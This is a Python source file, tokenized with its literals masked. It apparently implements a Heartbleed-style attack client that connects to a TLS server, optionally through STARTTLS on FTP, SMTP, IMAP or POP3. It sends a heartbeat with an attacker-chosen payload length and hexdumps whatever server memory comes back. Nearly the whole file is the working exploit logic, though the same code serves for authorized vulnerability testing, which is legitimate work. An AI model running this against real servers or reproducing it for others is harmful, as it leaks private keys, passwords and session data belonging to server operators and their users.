<s> from __future__ import unicode_literals <EOL> import socket <EOL> import sys <EOL> import struct <EOL> import time <EOL> from argparse import ArgumentParser <EOL> from pacemaker import hexdump , make_heartbeat , read_record , read_hb_response <EOL> from pacemaker import Failure , payload_len <EOL> parser = ArgumentParser ( description = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT:host>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , action = '<STR_LIT:store_true>' , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , type = int , default = None , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , default = '<STR_LIT>' , <EOL> choices = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , type = int , default = <NUM_LIT:3> , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , type = int , default = <NUM_LIT:1> , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , '<STR_LIT>' , type = payload_len , default = <NUM_LIT> , <EOL> dest = '<STR_LIT>' , <EOL> help = '<STR_LIT>' + <EOL> '<STR_LIT>' ) <EOL> default_ports = { <EOL> '<STR_LIT>' : <NUM_LIT> , <EOL> '<STR_LIT>' : <NUM_LIT> , <EOL> '<STR_LIT>' : <NUM_LIT> , <EOL> '<STR_LIT>' : <NUM_LIT> , <EOL> '<STR_LIT>' : <NUM_LIT> , <EOL> } <EOL> def make_clienthello ( sslver = '<STR_LIT>' ) : <EOL> ciphers = u'''<STR_LIT>''' <EOL> ciphers_len = len ( bytearray . fromhex ( ciphers . replace ( '<STR_LIT:\n>' , '<STR_LIT>' ) ) ) <EOL> hs = sslver <EOL> hs += <NUM_LIT:32> * '<STR_LIT>' <EOL> hs += '<STR_LIT>' <EOL> hs += '<STR_LIT>' . format ( ciphers_len ) + ciphers <EOL> hs += '<STR_LIT>' <EOL> hs += '<STR_LIT>' <EOL> hs += '<STR_LIT>' <EOL> hs += '<STR_LIT>' <EOL> hs += '<STR_LIT>' <EOL> hs_data = bytearray . fromhex ( hs . replace ( '<STR_LIT:\n>' , '<STR_LIT>' ) ) <EOL> hs_data = struct . pack ( b'<STR_LIT>' , <NUM_LIT:1> , <NUM_LIT:0> , len ( hs_data ) ) + hs_data <EOL> record_data = bytearray . fromhex ( u'<STR_LIT>' + sslver ) <EOL> record_data += struct . pack ( b'<STR_LIT>' , len ( hs_data ) ) <EOL> record_data += hs_data <EOL> return record_data <EOL> def skip_server_handshake ( sock , timeout ) : <EOL> end_time = time . time ( ) + timeout <EOL> hs_struct = struct . Struct ( b'<STR_LIT>' ) <EOL> for i in range ( <NUM_LIT:0> , <NUM_LIT:5> ) : <EOL> record , error = read_record ( sock , timeout ) <EOL> timeout = end_time - time . time ( ) <EOL> if not record : <EOL> raise Failure ( '<STR_LIT>' + str ( error ) ) <EOL> content_type , sslver_num , fragment = record <EOL> if content_type != <NUM_LIT> : <EOL> raise Failure ( '<STR_LIT>' + str ( content_type ) ) <EOL> sslver = '<STR_LIT>' . format ( sslver_num >> <NUM_LIT:8> , sslver_num & <NUM_LIT> ) <EOL> off = <NUM_LIT:0> <EOL> while off + hs_struct . size <= len ( fragment ) : <EOL> hs_type , len_high , len_low = hs_struct . unpack_from ( fragment , off ) <EOL> if off + len_low > len ( fragment ) : <EOL> raise Failure ( '<STR_LIT>' ) <EOL> off += hs_struct . size + len_low <EOL> if hs_type == <NUM_LIT> : <EOL> return sslver <EOL> raise Failure ( '<STR_LIT>' ) <EOL> def handle_ssl ( sock , args , sslver = '<STR_LIT>' ) : <EOL> sock . sendall ( make_clienthello ( sslver ) ) <EOL> sslver = skip_server_handshake ( sock , args . timeout ) <EOL> try : <EOL> sock . sendall ( make_heartbeat ( sslver , args . payload_len ) ) <EOL> except socket . error as e : <EOL> print ( '<STR_LIT>' + str ( e ) ) <EOL> return False <EOL> try : <EOL> memory = read_hb_response ( sock , args . timeout ) <EOL> if memory is not None and not memory : <EOL> print ( '<STR_LIT>' ) <EOL> return False <EOL> elif memory : <EOL> print ( '<STR_LIT>' . format ( len ( memory ) ) ) <EOL> hexdump ( memory ) <EOL> except socket . error as e : <EOL> print ( '<STR_LIT>' + str ( e ) ) <EOL> return False <EOL> return True <EOL> def test_server ( args , prepare_func = None , family = socket . AF_INET ) : <EOL> try : <EOL> try : <EOL> sock = socket . socket ( family = family ) <EOL> sock . settimeout ( args . timeout ) <EOL> sock . connect ( ( args . host , args . port ) ) <EOL> except socket . error as e : <EOL> print ( '<STR_LIT>' . format ( args . host , args . port , e ) ) <EOL> return False <EOL> remote_addr , remote_port = sock . getpeername ( ) [ : <NUM_LIT:2> ] <EOL> print ( '<STR_LIT>' . format ( remote_addr , remote_port ) ) <EOL> if prepare_func is not None : <EOL> prepare_func ( sock ) <EOL> print ( '<STR_LIT>' ) <EOL> return handle_ssl ( sock , args ) <EOL> except ( Failure , socket . error ) as e : <EOL> print ( '<STR_LIT>' + str ( e ) ) <EOL> return False <EOL> finally : <EOL> if sock : <EOL> sock . close ( ) <EOL> class Linereader ( object ) : <EOL> def __init__ ( self , sock ) : <EOL> self . buffer = bytearray ( ) <EOL> self . sock = sock <EOL> def readline ( self ) : <EOL> if not b'<STR_LIT:\n>' in self . buffer : <EOL> self . buffer += self . sock . recv ( <NUM_LIT> ) <EOL> nlpos = self . buffer . index ( b'<STR_LIT:\n>' ) <EOL> if nlpos >= <NUM_LIT:0> : <EOL> line = self . buffer [ : nlpos + <NUM_LIT:1> ] <EOL> del self . buffer [ : nlpos + <NUM_LIT:1> ] <EOL> return line . decode ( '<STR_LIT:ascii>' ) <EOL> return '<STR_LIT>' <EOL> class Services ( object ) : <EOL> @ classmethod <EOL> def get_prepare ( cls , service ) : <EOL> name = '<STR_LIT>' + service <EOL> if hasattr ( cls , name ) : <EOL> return getattr ( cls , name ) <EOL> return None <EOL> @ staticmethod <EOL> def readline_expect ( reader , expected , what = None ) : <EOL> line = reader . readline ( ) <EOL> if not line . upper ( ) . startswith ( expected . upper ( ) ) : <EOL> if what is None : <EOL> what = expected <EOL> raise Failure ( '<STR_LIT>' + expected + '<STR_LIT>' + line ) <EOL> return line <EOL> @ classmethod <EOL> def prepare_ftp ( cls , sock ) : <EOL> reader = Linereader ( sock ) <EOL> tls = False <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> for i in range ( <NUM_LIT:0> , <NUM_LIT:64> ) : <EOL> line = reader . readline ( ) . upper ( ) <EOL> if line . startswith ( '<STR_LIT>' ) : <EOL> tls = True <EOL> if line . startswith ( '<STR_LIT>' ) : <EOL> break <EOL> if not tls : <EOL> raise Failure ( '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> @ classmethod <EOL> def prepare_smtp ( cls , sock ) : <EOL> reader = Linereader ( sock ) <EOL> tls = False <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> for i in range ( <NUM_LIT:0> , <NUM_LIT:16> ) : <EOL> line = cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> if line [ <NUM_LIT:4> : ] . upper ( ) . startswith ( '<STR_LIT>' ) : <EOL> tls = True <EOL> if line [ <NUM_LIT:3> ] == '<STR_LIT:U+0020>' : <EOL> break <EOL> if not tls : <EOL> raise Failure ( '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> @ classmethod <EOL> def prepare_imap ( cls , sock ) : <EOL> reader = Linereader ( sock ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' , '<STR_LIT>' ) <EOL> @ classmethod <EOL> def prepare_pop3 ( cls , sock ) : <EOL> reader = Linereader ( sock ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' ) <EOL> sock . sendall ( b'<STR_LIT>' ) <EOL> cls . readline_expect ( reader , '<STR_LIT>' ) <EOL> def main ( args ) : <EOL> family = socket . AF_INET6 if args . ipv6 else socket . AF_INET <EOL> prep_func = Services . get_prepare ( args . service ) <EOL> for i in range ( <NUM_LIT:0> , args . count ) : <EOL> if not test_server ( args , prepare_func = prep_func , family = family ) : <EOL> break <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> args = parser . parse_args ( ) <EOL> if args . port is None : <EOL> args . port = default_ports [ args . service ] <EOL> try : <EOL> main ( args ) <EOL> except KeyboardInterrupt : <EOL> pass </s>
